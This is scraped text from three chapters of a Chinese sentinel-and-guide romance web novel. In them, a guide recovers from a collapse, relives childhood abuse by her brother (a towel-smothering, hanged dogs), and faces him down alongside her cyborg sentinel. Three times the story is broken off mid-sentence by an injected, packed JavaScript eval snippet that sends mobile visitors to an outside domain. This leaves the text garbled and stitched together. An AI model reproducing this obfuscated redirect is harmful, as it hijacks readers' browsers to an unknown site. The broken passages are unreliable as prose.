“不,”073同时握住她一双手腕拉近,脸埋进并拢的手中,闷声反驳,“不能这样对哨兵。” 他一早便发觉她的态度存在问题,好像在她眼中,自己是个健全的正常人。太过美妙的感受,让他馋,让他渴,让他无法自抑。 “我是哨兵,”他的需求和理性数番争斗,终于说出口,“必须约束,压制,消磨。” 她用指腹描摹掌下轮廓,将他的脸抬起来个角度,刚好足够平视:“可你不止是哨兵,我也不止是向导。我们不是希望有朝一日结为伴侣吗?我想对自己的伴侣好,想让伴侣轻松、愉快,像你也想消除我的烦恼一样。” “哪怕单纯作为监护向导与哨兵,我也该照顾你。中枢院、要塞对你够坏了,如果我的安抚可以缓解你的创伤,无论是出于职业道德,还是个人意愿,我只想对你好点,再好点。除非你告诉我,你不喜欢。” “喜欢。”073眼瞳略显暗沉:“但你会受伤。” “哨兵贪得无厌,”他不得不表露自己的卑劣,“我也是。” “会要更多,永不满足。”紧接着补充,语速快了很多,甚至显得有些焦躁。 见过她哭后,他认定如果预计的糟糕情形真的发生,自己会立即死去。对未来的某种可能性已经不仅是犹疑,而是深刻的恐惧。 应知晓沉吟片刻,突然问:“那你想和我分开吗?不接受我的疏导,在任何场合保持距离?不见我,不碰我?” 073猛地抬头,双眼泛着冷光:“不。” “那你想伤害我吗?让我流血,生病?” “不!”他手臂凸起道道青筋,仅仅是听到相关的词汇,就感到席卷全身的恐慌和愤怒。 “那我暂时把你说这些的定义为意外,”她认真道,“可以吗?” “嗯。”他选择认同,但不太理解。 “人总会遇到意外的,你说的只是其中一种,而且是不确定的、没发生的。”她的指尖在他掌心的茧上一圈圈打转:“我不能预见未来,但我清楚,不是只有你可能会对我造成意外。如果我找到的哨兵不是你——” 073气息重了一分。 她顿了下,重新强调:“只是个假设,假如有哨兵在你之前接受了我的邀请,便能保证绝对不发生失控的意外吗?” “再或者,没能遇见你,也没有其他哨兵愿意接受我,失去了最后一次争取毕业的机会,被淘汰出云顶……应知许,他会做什么?以后又会有多少种更可怕的意外?” “意外是你、我,或是任何再强大的人都无法避免的,不该成为路上看不见的障碍。从选择你的那一刻起,我也选择了属于你的一系列可能性。” “我相信你,相信遇到你是一种幸运,”她努力把想法用简单的语言表达,“拜托你也对我多一点信任,相信我的选择。好不好?” 073大脑与义体的神经接驳在她说完最后一个字时崩断又重连,不由自主离开石凳,再次倾身跪倒。 她一惊,见他弓着腰,蜷着身体,将头搁到她的大腿上,胸腔随着吸气扩张到极限,膨胀的肺叶才不舍地滤走染着体温的空气排出。 他枕过来的力道控制得不太准,沉甸甸的,压得应知晓差点哼出声,心里却轻了几分。 “你真的一点不担心被看到啊……”她语气里三分无奈,七分嗔怪。 “你同意。”073丝毫不在意维持这个姿势多么费力,又蹭了蹭:“喜欢。” “这样不累吗?”她只看着,都觉得束手束脚。 “喜欢。”073坚持。 “好吧。”她嘴角不禁扬起点弧度,手摸上他的头发。 和视觉给人的印象不太一样,银针似的碎发意外的偏软,又很有韧性,手感很……熟悉。 模糊的儿时记忆里,好像有什么差不多的。 在外界老家的庄园里,圈养过许多猎犬,有一条长得格外大,从来不叫。因为对人很冷淡,又不是纯种,被当时还没学会完美掩饰情绪的少年应知许厌弃。 那是条毛发半长、四脚着地比年幼的她更高一头的大型犬,脏兮兮的,每天缩在犬舍最深处的角落。 它太过安静,以至于她快忘了它的存在。直到她从房间里偷跑出来玩,偷偷钻不知通向哪里的墙洞,爬进了犬舍。 撞到热乎乎、毛茸茸的“墙”时,她害怕了。跌坐到地上,惊恐地看它。 但它只是用那对杏仁状的眼睛紧盯着她,摇了摇尾巴。 于是偌大的庄园里,她有了个朋友。 利用那个洞,她带了不少吃的进来,它不挑食,照单全收,吞下肚后舔她的脸,啮咬着梳理她的头发。 她在它被其余十几条猎犬围攻时丢石头驱赶,被它死死挡在墙洞口往里推走。 几天后,它身上更脏了,她很怕,于是打开了犬舍大门,放走了它。 它舔了舔她的脸,趟过庄园外的河游向后山。 那一幕她记得很清楚,春天湍急的河水冲刷它的身体,灰尘与血污一点点脱落。等它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719293|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在对岸站定时,通体雪白,缀着水珠的毛发闪闪发亮,像针芒,又像丝线。 它自由了。 当晚应知许进了她的卧室,在她脸上盖了块毛巾,用馨香的花茶一点点浇透。 应知许说这是惩罚她自作主张,又问她它在哪。 她哭泣、咳嗽,然后摇头。 后半夜的事她不记得,但第二天应知许将她叫醒,去看那个墙洞被堵住封死,看所有猎犬脖上套了绳索,四肢绑着石头,吊在树上,嚎叫着,骨骼噼噼啪啪地脱臼断裂,不确定因为脊柱受损还是因为窒息,很快都不动了。 应知许问她怕吗。 她点头。 应知许又问她后悔了吗。 她摇头。 而此刻的073,仿佛与它有了重叠。 应知晓屏息,心中自嘲:这种比较太无礼了,她的教养似乎随着离开庄园越久,越发松弛。 想到这,她摸073发梢的手停住。 073余光观察她的状态,对突如其来的静默有些不解,往她手上拱了拱。 ……是有点像。 她指腹插进他发间,如果闭上眼,更像。 “三个人来了,”073头蓦地偏向一边,深吸口气,打断她的回忆,“气味,你认识。” “我认识?”她惊讶。 “认识、怎么不认识!” 叽叽喳喳的声音穿透藤蔓树影交错掩映的花园长廊,朱红奇道:“听到这边窸窸窣窣的,凑个热闹,居然是晓晓啊。稀奇啊,你逃课了?” 她赶紧解释:“没!” “那你在这是——唉呦!”朱红话说到一半,五官扭曲,痛呼着改口:“我们这就走,这就走!” 奎宁轻嗤一声:“既然都在这,正好,让你告诉哨兵的事商量好了吗?” 073迅速起身,低头在两方之间看了看。 应知晓握住他一根手指晃了下,挨个介绍:“这是我的三位舍友,朱红、奎宁·比斯利和欧满盈,人很好,帮了我很大的忙。他就是我的哨兵,代号073。” 073的敌意这才消退,放松了些。 接收到奎宁的眼神,她忙道:“对了,之前忘记问,那个……因为一些事,我想离开宿舍,搬到中庭暂住——” “你能不能、能不能一起?” “好。”话音未落,073已经点头。 他干脆的程度,让她的忸怩和尴尬显得十分多余。 奎宁耸耸肩,意思是“我早说了”。 “我们要出校呢,”欧满盈不动声色地收回拧人的手,体贴地忽略掉她红肿的眼和脸上残余的泪痕,延续话题,“不如顺便带你们去看看房子吧,宜早不宜迟嘛。” “可以吗?”应知晓迟疑:“你们不是还要……去忙?” “哎呀,让奎宁自己去呗,帮你化验毒性的事我们又不懂。”朱红一摆手:“就这么定了!” 应知晓顿感不妙,接连咳嗽几声,都没能截住话茬。 朱红一股脑说完,才注意到她脸色难看,心虚道:“你没告诉他啊……” 073果然回头:“你中毒了?” “不是、那是……”她腾地起身,急切之下速度太快,眼前一黑,身体轻飘飘的,什么都感觉不到了。 “晓晓?” “呀!晓晓!” 073动作极快,一把将她捞起横抱在怀里检查,周身转瞬间黑压压的,收敛的恸哭又有了暴走的趋势。 12. 怜我怜卿(十二) 三个人都认出了团团有狰狞面孔沉浮的雷云,和气的笑容急转为警惕,朱红和欧满盈一前一后,本能地筑起缄默屏障。 奎宁还是那副眼皮半抬不抬的样子,脸色却不大好看。不作防御,只是因为对战争改造项目的了解比几人多了点,估量073真到失控的地步,凭她们的等级,阻拦也是白搭。 073低头在应知晓颈侧探了探,体征指标还算处在安全阈值内,伺隙的恸哭景象淡去大半,仅剩丝缕残余不甘地渗漏淌落。 他视线扫过三人,没理会她们过度紧张的表现,转身便走。 欧满盈刚与两旁的舍友们交换了个眼神,073已经快要消失在她们的视野之外。 “看方向,是去医院。”奎宁揣在兜里的手松开。 “那愣着干什么,我们走啊。”朱红有些着急。 奎宁哼了声:“你当然得去。” “是是是,唉呀,刚才怎么就不过过脑子呢?”朱红拳头捶捶额头,懊悔不已:“晓晓要有什么事的话,我连赔罪都来不及,她的哨兵绝对会直接把我撕了!” 欧满盈打断她,催促:“少乌鸦嘴,现在不是说这个的时候,还不快走?” 三人紧赶慢赶去中庭的综合医院,找导诊台询问过,终于在一间诊室外的走廊上看见了073。向导专属科室诊疗期间不允许哨兵进入,他显然等了有一会儿,脚下乌黑云气积成一滩。唇间叼着支湿烟,却没点燃,对她们的靠近毫无反应。 欧满盈推了朱红一把,后者摸摸脖子,低着头歉疚道:“对不起,都是我不好!” 073盯着紧闭的诊室大门,一动不动。 朱红与欧满盈对视,两人挤眉弄眼地交流过,迟疑地再次开口:“关于晓晓的事,是这样的,她——” “不用。”073眼睛依旧没离开门把手。 什么意思?朱红求助地看向两位舍友,奎宁只是挑眉,欧满盈捂住她的嘴把人拉远了点,无声摇摇头。 应知晓昏迷得很彻底,在医院科室间辗转都没任何感觉,更不可能听见外面的动静。 脑海中只剩一片黑暗,好像在睡一个很漫长的觉。 她做了个梦。 她已经很久没做过梦了,久到眼前场景渐渐浮现时,还以为自己醒了,直到前方出现了一个单薄的身影,欢天喜地在熟悉的庄园里转圈跳舞时,才意识到是在做梦。 她像一个鬼魂,摇摇摆摆地飘近,端详那张白里透红、饱满稚嫩的脸,几乎在瞬间认出,这是12岁的她,就是那一年觉醒成为了向导。 12岁的自己雀跃地飞奔回卧室收拾行李,按照社会要求,云顶会在公民觉醒次日将人接回。 其实像她这样阶级的家庭,多数并不热衷直系后代成为哨兵向导,不划算。 觉醒者的社会地位虽高,但折损率更高,且完全以“□□”为唯一目标。不说每天九死一生的哨兵,云顶内,越稀有的强大向导,身体与精神越会被压榨到极限。再多的优待和权力,得到后往往没机会享受就累垮了。 她激动,只是因为这样就可以离开庄园。 真傻啊。 她蹲下,静静看着面前12岁的自己把所有珍爱的物件放进行李箱。一本纸张泛黄的童话书,一个白狗造型的毛绒玩偶,一张跟妈妈的合照,一串姐姐送的陶瓷风铃。 12岁的她拒绝了佣人们的帮助,郑重地将每样东西塞到夹层里,才挑了些寻常衣物重叠盖住。 她几次想伸手触碰,都直接穿了过去。差点忘了,她不属于这里,是这场梦的观众,回忆里的幽灵。只好努力去想,接下来会发生什么。 新月的暗夜里,12岁的她躺在床上兴奋地睡不着。 卧室门打开了。 “好女孩,今天怎么没和哥哥说晚安?” 应知晓的心跟着揪紧。她记得、她记得…… “哥哥知道你醒着。” 灯亮了,照清应知许的脸。 “睡不着吗,在想哥哥,还是别的?”18岁的应知许坐到床边,脸部线条尚显青涩,带着那个年龄段的男孩特有的锐气。 12岁的她一言不发,闭上了眼。 “看着我。”应知许掐住她的脸:“跟哥哥说,晚安。” 她跟着说:“晚安。” “还有呢?”应知许仍坐着,指尖点点自己的脸颊。 别犯倔! 听他的话!就这一次!就这一次! 漂浮的她无声呐喊。 12岁的她当然听不到,抿着唇,坚决摇头。 “真不乖。” 应知许笑笑,拎出藏在床下的行李箱,随手翻弄:“明天就走了,还要跟哥哥闹脾气吗?” 他检查行李箱里的东西,笑容加深:“哥哥叫人送来的新衣服都不喜欢?那就再换个裁缝。” 12岁的她眼睫低垂,攥紧被角。 应知许指节漫不经心敲敲夹层:“我的女孩,有小秘密了。” 说着打开夹层,眉眼阴沉下来,嘴角却还弯着,割裂的表情十分诡异:“都是你的宝贝啊。” “带上它们,是想离开哥哥后,再也不回来吗?” “告诉哥哥,你要做坏女孩吗?” 12岁的她脸上血色褪尽,旁观的她同样心脏骤缩,阵阵钝痛。 原来梦里也会痛吗? 18岁的应知许做事无所顾忌,摸出打火机,蓬松的火苗很快发酵,烘烤着天花板上的水晶灯。 他抱住12岁的她,轻拍着后背哄道:“嘘,嘘,你还有哥哥呢,哥哥爱你,哥哥最爱你了。” 飘忽的她疯狂冲进火堆,透明的身体扑向火焰,徒劳地看着橙红色的怪物吃掉她的一切,又一次。 应知许在火熄灭后离开了。 12岁的她滚下床,手脚并用地踉跄过去,扒开余烬。黑灰的碎渣里,只剩几颗白色的瓷铃完好。她把它们一颗颗捡出来,吹了又吹,撩起衣摆仔细擦拭。 瓷铃上落了水珠,余温很快将之蒸发干净。 她头痛欲裂,眼前所有景象旋转扭曲,被无形的漩涡吸走。 应知晓睁开眼。 模糊晃动的视野逐渐定格,柔和的日光透过薄纱窗帘充满房间,纯白的天花板上树影婆娑,忽明忽暗。 意识慢慢回笼,她记得自己好像晕倒了。 那这是在……医院? “晓晓?”朱红惊喜地伏在床边:“太好了,你终于醒了!” 她“嗯”了声,问:“几点了?” 朱红蹭蹭鼻子,小声答:“下午四点。” 那还好,不算太久。 “……第二天的下午四点。”朱红看她表情,大约猜到她在想什么,补充一句:“你昏迷了30多个小时。” “你一直在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719294|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”她注意到朱红淡淡的黑眼圈。 “没,我和满盈轮流来的,奎宁不是还有事嘛,就先走了,”朱红拍了几下胸口,“都怪我。还好医生说你醒了就没事了,不然我得以死谢罪。” “别这么说,是我自己的问题,又不怪你。”她朝外张望:“073呢?” “在走廊,被护士赶出去了。”朱红缩缩脖子,思索片刻,凑到她耳边用低声说:“你状态怎么样?要是起得来,看下他吧?” “嗯……”朱红纠结了会儿:“因为他,走廊从昨晚起就不能通行了。” 这话听起来很不对劲,她不由得紧张起来:“他怎么了?” 朱红忙安慰:“你放心,没失控。就是……不好形容,总之你看了就明白了。” 应知晓怎么可能放心,喘着气要起身:“麻烦扶我下。” “别逞强啊。”朱红也紧张了,死死搀着她。 “没关系,有点腿软而已。”她平复呼吸,确实没有晕倒前那种虚弱的感觉了。 病房门外寂然无声,安静的程度对于医院来说也过于夸张。 朱红拉开门,薄薄黑气顺着地面漫进门缝,浓郁得近似胶质,铺满半条走廊,不时有人的五官滑过,阴森森的,实在瘆人。 她对这东西印象太深,蹙眉看去。 高大的半机械哨兵在对面的墙边站着,像被切断了电源。 开门的响动刺激到他,义体恢复运行,眨眼间移动到身前,抬起手,明显犹豫了几秒,又放下:“回去。” 她反而上前一步:“我好多了,想见你。” “休息。”073握拳,极力忍耐。 朱红觉得自己不该再待下去,把人往他的方向一推,脚步飞快地离开。 后背仿佛有刀尖追着刺来,打了个激灵,走得更快了。 073接住应知晓,想把人送回病房。 她环住他的腰不放:“别担心,我真的好了。” 好什么。 只需要动一根手指,不用花什么力气,就能轻易拉开她的手。 柔软、纤细,会牵着他,抚摸他脸颊和头发的手。 073头低了些,把人拢得更紧。 他根本拒绝不了。 “疼吗?”他问。 “嗯?”她疑惑:“不疼啊,我只是睡着了,什么感觉都没有。” 073托起她的脸,指腹擦过眼角:“听到你哭。” 隔着走廊与房门,他听到病床上一道极为短促的吸气声,是她在啜泣。 他几乎要不计后果地拆了那扇该死的门。但会打扰她,她需要休息,所以不行。 应知晓才留意到眼角的潮湿,大概是因为那个梦。就一点点,完全没流下来,连朱红也没发现,还是瞒不过他吗? 她不太想回答,贴在他怀里,闻到股柏木香,浓郁得像烈性香水,有点呛人。 是湿烟的味道。 她清楚073有使用湿烟的习惯,但上次的气味很清淡,刻意捕捉才闻得到。 退开了点,仰起头,才看到他的眼球血丝密布,干涩到转动都显得艰难,瞳孔扩张,失焦涣散,不似活人。 应知晓挂住073的后颈,踮脚亲他下巴:“别担心,我好好的,感觉到了吗?” 073腰弯得很低,脸埋进她肩窝,狠狠吸气:“好疼。” “我疼。” 13. 怜我怜卿(十三) “哪里?” 应知晓摸摸他的后颈,不烫,又往下探。该不会之前的精神创伤没彻查治疗,躯体化了? 073拉着她的手,握住放在胸口上。柔性装甲覆盖的左胸腔内,没有痛觉神经的合成心脏反常地抽动。 她愣了会儿,不太确定地问:“是真的受伤了,还是……”一种形容? “你哭,会疼。”073思索了一番,回答。 “嗯,我不哭了,”她眼眶热热的,突然有点想笑,“不让你疼了,好不好?” 073观察她的表情变化,头压得更低,往她脸旁凑了凑,意图明显。 刚刚那次太短暂,还没来得及细品。 走廊没人,她的心理负担也小了很多,攀着他的肩,在脸颊亲了下,拉开点距离,眨眼询问:“好点吗?” 073眼神直勾勾的,盯着微微翘起的唇,将另一边脸贴过来,手自然抚上她的后腰,所有数据代码被远远抛开,只用人类的器官感受。 顺着他又亲了次,终于看到地面蠕动的人面雷云开始收缩,一股一股退回精神图景。 “红红说我昏迷了30多个小时,你就一直站在这里等?”她小心碰了碰他眼下,看不出青黑,但眼里的血丝同样触目惊心。 “进不去。”073对哨兵身份的不满达到了巅峰:“想见你。” “没有怪你,不是你的错。”他还是那种冷淡的表情和没有起伏的语调,不过她似乎听出了点委屈的意思。 她在心里自嘲,觉得自己的理解能力真是突飞猛进,要是成绩也这样进步神速就好了。 “很累吧?是不是没有睡觉?”她看向墙边的长椅:“要歇一会吗?我好多了,陪着你好不好。” 改造过的身体96小时不睡觉不成问题,但既然能和她亲近,073果断点头。 他也不松手,直接坐下,托着人放到腿上搂紧。 这姿势比普通的拥抱暧昧得多,应知晓有些不自在,可对上他那双黯淡的灰眸,到底没忍心拒绝。 “等等该去咨询医生,什么时候能出院。”她在考虑后续的事,想得有些分神,指尖无意识按着他手臂跳动的青筋。 073看了眼她的小动作,默默控制血液流速,增强了脉搏振动幅度。鼻尖贴到她耳后,声音在骨骼传导下嗡嗡回响:“不。” “怎么了?”她不解。 “多休息。” “我真的好了,”她劝道,“而且出院也能休息啊。” “不。”在这个问题上,073出乎意料的固执。 她颇为无奈,尝试换个思路:“可是不出院的话,你见我的机会很少。” “那等。”他不松口。 被噎了一下,她动动嘴唇,又闭上,很想回宿舍翻翻《哨兵应用心理学》的教材里有没有适用场景。 其实可以直接命令他的,他不能违抗。 想什么呢。 心里闪过这个念头的同时又立即否决,哪怕不打算结为伴侣,仅仅是单纯的监护搭档,他们之间也不该由高傲的权力支配,靠冰冷的命令执行,她不喜欢这种相处模式。 “073。”她叫他,声音放得很轻。 073吸气的节奏一乱,控制血液流速的注意力跟着偏移。 “可是我也会很想见你,”她仰起脸,显得眼睛格外圆,亮晶晶的,“在病房里,我做了个很长的噩梦。醒来的时候忍不住想,如果你在就好了,见到你后不会那么难过。” 073许久没说话。 袒露的心声落空,她有些无措,只听他问:“噩梦?” “是什么。”073疑惑,他的认知里没有这个概念。 “啊?”应知晓没想到他没回答是因为压根不懂,讶异:“你从来没做过梦?” 好像在哪里听说过,连猩猩、狗、猫也会做梦的。 “唔……睡着之后,脑子里会有很多画面、情景、声音,大多数时候都不太一样,有的熟悉,有的陌生。”她解释。 “幻觉。”073给出自己的结论。 “不算是吧,”她不是生物学或心理学专家,只能描述自己的经历,“比如我做的梦是真实的,过去的记忆在睡眠时重新回放,像看影片那样。” 073听懂了,摇头:“不会做梦。” 为了提升工作效率,他的运行模式仿照海豚进行改造,人脑不得已进入休眠时,芯片会代为接管,保证基本功能运行。 做梦,听起来是种无意义且耗费能量的事,怪不得实验室剥离了这个功能。 他更关心别的:“你做噩梦,会哭。” 做梦不好。 她不太想承认,更不想骗他:“嗯,梦见以前的事,关于……应知许,我害怕。” “有我。”073吻她的发梢。 头发没有感官,但他就是想这样做。 “所以我想尽快出院,想和你在一起,见到你了,就不害怕了,”她指尖划过他的掌纹,随后点点自己胸口,“害怕时,这里很痛。” 073抱着她往怀里揉,克制住把人塞进体内保存起来,与所有可能伤害到向导伴侣的事物隔离,再将它们一一摧毁的冲动。 “好。”他还是同意了。 拒绝她比杀死迷失的甲级哨兵更难,尤其是她用那种湿润的、带着希冀光彩的眼睛望着他,与哭起来时同样让他心跳异常,不过是兴奋的那种。 还有一点应知晓没说,她猜自己如果接着住院,073会继续守在病房门口,又累又容易出现意外,她不希望别人因此对他产生偏见。 “朱红……”她提起昏迷前的事:“她是很好的人,怪我没告诉你全部实情。也不是准备瞒着你,只是跟应知许有关系,想把事情查清楚再——” “不用。”073捞起她散落的发,一缕一缕顺到身前摆好。 “我会等。”伴侣需要时间,他就给时间。 “谢谢你!”她实在惊喜,抱着他的脖子连亲了几下。 073半阖着眼,感受腿上轻飘飘的重量和皮肤传递来的柔软,思维混乱起来。 她能不能承受深度疏导和结合?他该做什么准备才能保证期间不伤到伴侣? “怎么了?”见他所有动作完全停住,她忙问。 “不要谢,不喜欢。” 073告诫自己忍住,牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719295|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起她的手按在自己头顶,又说:“喜欢。” 不喜欢听她道谢,喜欢被摸头? 在花园里的那种诡异即视感又冒了出来,但手还是诚实地沿着发旋走向抚摸。 好吧,不管是作为亲密方式还是疏导手段,这种程度的肢体接触都不算什么,他喜欢就好,她也……喜欢。 空荡荡的走廊中,只有他们彼此。 面容冷峻的机械化哨兵小心弓着身体,义体保持稳定的姿态,人类的手臂虚虚环住。再近些,才能看到被他严严实实藏在怀里、身形单薄的向导,暴露在外的皮肤白得像抛光过的大理石,唯独抚弄哨兵发丝的指尖、被交缠呼吸熏染的脸颊和唇瓣粉盈盈的,颜色突兀,却叫人移不开眼。 应知许拐进走廊时,看见的就是这样一幕。 “这也是医嘱的一部分吗?” 听到噩梦里的声音,应知晓松缓的神态凝固,僵硬地转动脖颈。 应知许挟着束典雅的奥斯汀白玫瑰,西装换过了,崭新的纯白亚麻三件套,精雕细琢的玳瑁纽扣质地如玉,是只在闲暇时才会穿的轻盈款式。 她心里一紧,撑着手臂想站起来。 073按住她,瞳孔收缩,聚焦在应知许身上时不带任何温度,切换运行模式的义体一阵低响。 “没关系,”她拍拍他的手,“我有你了。” 073扶着她的腰把人轻轻放下,跟着站直,像是光投在她身后形成的巨大又恐怖的影子。 “……有事吗?”她踩实地面,整理好衣服,才略扬了扬下巴,语气里是毫不掩饰的疏离。 应知许不以为意:“生病了,怎么不说一声?害我担心。特意问了你的舍友欧小姐,她告诉我你住院了。” 她把这话自动归类为威胁,很想说“拜你所赐”,但这么多年来,明白逃脱前的激怒并不明智,终归忍住:“有舍友们和我的哨兵在,已经恢复了。” “是吗?”应知许上前一步,伸出手:“哨兵代号073,感谢你对知晓的照顾。对了,之前忘做自我介绍。我是知晓的哥哥,她唯一的法定监护人。” 073用机械臂与他握手,合金关节锁死,力度精准,让人感到压迫、软组织弹响,疼痛而不留伤痕,无法抽离:“知道。” 应知许没能第一时间收回手,笑容反倒扩大了几分:“哦,原来她也会主动提起我啊。看来你们相处得不错,我该欣慰吗?” 一哨兵一向导谁都没变脸,但两人周围的空气又渐渐焦灼。 应知晓不动声色地往073身边靠,拽了下他的衣角,让自己的哨兵在生活区公然把高级向导的手捏断不包含在她的未来规划内。 073听话地放开,手搭在她肩上。 应知许收手掸了掸袖口,抽出丝帕细致地擦过每根手指,把织工复杂的刺绣丝帕丢进一旁的垃圾桶,笑得歉然:“不好意思,我有点洁癖,除了自家妹妹,不习惯跟别人接触。” 要是能打他一顿就好了。 说实话,应知晓还没见过他这么……古怪又讨人嫌的一面,让人看了心头火起。 073的表情更是没有变化,开口道:“伴侣,当然相处得好。” 14. 怜我怜卿(十四) “我想其中恐怕有什么误会。” 应知许的眼尾和唇角堆起笑纹,视线从始至终没有落在073身上过:“这么重要的事情,怎么不告诉哥哥呢?” “我成年了。”应知晓只回了四个字。 “是啊,成年了就是大女孩了。”应知许指尖剥开奥斯汀玫瑰层叠的花瓣,捻动花蕊,放在鼻端嗅了嗅,表情有些陶醉:“但永远都是哥哥的妹妹。” 073直视他,义体的运转功率逐渐增大。 意外的,应知许没在“伴侣”的问题上多说什么,将花递来:“亲爱的,生病了要好好休息,我送你回病房。” 她看了看那束精心去了刺,花枝打磨平滑的白玫瑰,并不伸手接。 “不喜欢玫瑰?”他叹了口气:“没关系,下次换成别的。想要百合、铃兰,还是茉莉?” “不用了,”她蹙了蹙眉,又很快恢复如常,“花还是扎根土壤中时最漂亮。切断枝条后,包装得再华丽,也活不了几天,很快就要枯萎、腐烂,变得丑陋,散发异味。” “看来小时候教你的花艺知识如今忘得差不多了,”应知许从包装纸里抽出一枝玫瑰,借着走廊灯光欣赏,“切花插花是项艺术。” “去掉不想要的冗余枝杈,留下想要的花朵,按照颜色、高度、疏密安排摆放,在平凡中创造美的秩序,用人工雕琢对抗自然的混沌,多么精妙!” 他掐断手中过长的花枝,仅余短短一截夹在指间,像端着红酒杯:“还记得鲜切花迟迟不开时,要怎么处理吗?” 问这个问题时,他看起来似乎是一位真正谆谆善诱的兄长和老师。 没等回答,又自顾自说下去:“像这样。” 他捏住饱满的花苞,不太优雅地反复摔打,直到合拢的花瓣颤巍巍绽开,露出满意的神色:“别被花朵柔软而易碎的外表骗了,其实它很有韧性,需要强大的外力管教。看,这样多美。” “也失去了生长的意义。”应知晓一脸木然。 “错了。”应知许将催开的花别在胸前口袋的扣眼中,耐心调整角度:“它存在的意义,即是妆点人的生活。” 她忍了又忍,才控制住自己没有冷笑出声:“你能拥有它多久?三个小时?三天?”心中嫌恶远超畏惧。 “当初该多教你几遍的。”应知许表情无奈:“记得吗?插花放在尺寸相得的瓶子里,配上适量的水,可以保持美丽很久,久到它忘记已经死去的事实。” “若它想起来自己该顺应自然规律枯萎,在那之前,加入合理的药物,又可以延长不少观赏时间。” 他叹口气:“可惜,你说对了一点,美丽无法永恒,人力终究有限。所以人类发明了冷冻技术,发明了永生花,纵然有所缺憾,也能将这份颜色和香气留存,直到拥有它的人类消亡。” 应知许宠溺地笑起来:“哥哥明白,你又在闹小脾气。都怪我,进入云顶后太忙,陪伴的时间太少,是哥哥不对。” “哥哥向你道歉,以后多陪着你,你乖乖的,不要闹,好不好?” “学院给我的评价是‘踏实安静’。”她听完,突然说。 “这些哥哥都知道,”应知许微笑点头,“但没有人比我更了解你,不是吗?” 应知晓不止一次认为,与他说话是浪费时间,浪费生命,现实也又一次印证了她的观点。 她感到无比烦躁,所有耐心都在他意味深长的笑容里耗尽:“很快就不是了。” “我有了哨兵,不久后将结为伴侣,我的生命与灵魂,始终将与真正的另一半交融。” 她真切地发现,应知许的笑容淡了几分:“你还小,不懂伴侣的意义。” “我当然懂。”她侧头,看向073:“尽管做不到完美,但这正是可贵之处,让两个不完整的灵魂互相补全,而不是沤烂其中一个,好成为另一个的养料。” 兄妹间的对话有些复杂,一旁的073无法解析,但他听得到她趋于稳定的心跳,闻得出她逐渐平和的激素。她不再像之前那样害怕。 她在通过语言对抗噩梦,起到的效果似乎不比捏青对方的手差。 073同样能感知到应知许的变化,这个高高在上的向导,情绪和呼吸远没有面上表现出的那么淡然自若。 弱且虚伪。 他的伴侣真厉害,好喜欢,想抱住她,再亲一亲,不过现在不是时候。 “哥哥明白了。” 停顿了几秒,应知许忽而开口:“我最亲爱的妹妹,我的珍宝,身为向导,的确需要个哨兵。” 应知晓没接话,多年来培养出的警惕不会允许她在这时放下戒心。 果然,他接着说:“哥哥会为你寻找一名合适的哨兵。” “无论是等级、性格还是外表,都会让你满意。” “咯吱——” 073攥拳,机械臂的合金骨架因用力过度发生轻微形变。 她按着胸口,在带人离开和上前争执间犹豫了片刻,最终放下手,挪了两步,重新坐回长椅:“我有点累了。” “073,你……帮我去请医生来,我想和她商量关于出院的事,好吗?” 073站在原地,定定地看过来。 她晃晃他的手:“拜托你。” “好。” 他敛眸,大步往办公室的方向走,离去时掀起的风刮过应知许束起的长发,凌乱地盘在肩头后背。 直到073消失在走廊拐角,应知许才踱步到她身旁坐下,慢条斯理地解开发带,从西装内袋里摸出柄纤巧的木梳,梳理起那头富有光泽的长发。 他笑得温暖灿烂:“一个言行粗陋幼稚的男人,怎么配得上我最爱的女孩?073或许是名好用的哨兵,但他根本不懂得如何呵护珍宝。” 应知晓双手叠压在膝头,做了次深呼吸:“这是我自己的选择。” “但你值得更好的。”应知许收起发带,任由长发散落,两人如出一辙的黑发顺着肩颈蜿蜒,像两条同生同源,暂时分叉、但终将归并的河流。 她也在看他们的头发,客观来说,除了颜色,实在没有更多的共同点。 应知许的长发大概是从成年时开始蓄留的,具体原因不清楚,但他非常爱惜,每月定期修剪,每周做昂贵的营养护理,每天早中晚各梳一遍,用的梳子是温润留香的青檀木。为了避免过度摩擦,使发质毛躁,他只用丝质枕套,表面不能有任何刺绣花纹。 而她的头发,仅仅是不想用他名下的卡去店里剪,自己乱弄又怕技术太差导致实在出不了门才渐渐留长。遗传的发质还算软和,没有高档精油打理,有些偏干,容易打结。 他们一点也不一样。 再强大的精神力也不能读心,应知 